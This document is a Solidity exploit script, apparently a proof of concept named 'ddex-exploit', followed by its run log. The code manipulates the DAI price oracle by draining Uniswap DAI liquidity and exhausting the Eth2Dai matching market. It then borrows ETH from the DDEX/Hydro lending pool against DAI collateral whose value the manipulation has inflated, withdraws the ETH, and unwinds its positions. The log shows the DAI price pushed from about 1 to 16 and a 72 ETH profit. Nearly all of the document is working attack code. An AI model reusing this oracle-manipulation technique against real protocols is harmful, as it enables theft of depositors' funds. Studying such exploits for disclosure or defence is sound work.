demo
V
contract DDEXExploit is Script, Constants, TokenHelper {
OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
uint16 private constant ETHDAI_MARKET_ID = 1;
uint private constant INITIAL_BALANCE = 25000 ether;
function setup() public {
name("ddex-exploit");
blockNumber(8572000);
}
function run() public {
begin("exploit")
.withBalance(INITIAL_BALANCE)
.first(this.checkRates)
.then(this.skewRates)
.then(this.checkRates)
.then(this.steal)
.then(this.cleanup)
.then(this.checkProfits);
}
function checkRates() external {
uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
uint daiPrice = DAI_ORACLE.getPrice(DAI);
printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
}
uint private boughtFromMatchingMarket = 0;
function skewRates() external {
skewUniswapPrice();
skewMatchingMarket();
require(DAI_ORACLE.updatePrice());
}
function skewUniswapPrice() internal {
DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
}
function skewMatchingMarket() internal {
uint start = DAI.balanceOf(address(this));
WETH.deposit.value(address(this).balance)();
WETH.approve(address(MATCHING_MARKET), uint(-1));
while (DAI_ORACLE.getEth2DaiPrice() != 0) {
MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
}
boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
WETH.withdrawAll();
}
function steal() external {
HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.Common,
marketID: 0,
user: address(this)
});
HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.CollateralAccount,
marketID: 1,
user: address(this)
});
uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
HydroLike.Action[] memory actions = new HydroLike.Action[](5);
actions[0] = HydroLike.Action({
actionType: HydroLike.ActionType.Deposit,
encodedParams: abi.encode(address(DAI), uint(daiRequired))
});
actions[1] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
});
actions[2] = HydroLike.Action({
actionType: HydroLike.ActionType.Borrow,
encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
});
actions[3] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
});
actions[4] = HydroLike.Action({
actionType: HydroLike.ActionType.Withdraw,
encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
});
DAI.approve(address(HYDRO), daiRequired);
HYDRO.batch(actions);
}
function cleanup() external {
DAI.approve(address(MATCHING_MARKET), uint(-1));
MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
WETH.withdrawAll();
DAI.giveAllToUniswap();
require(DAI_ORACLE.updatePrice());
}
function checkProfits() external {
printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
}
}
/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/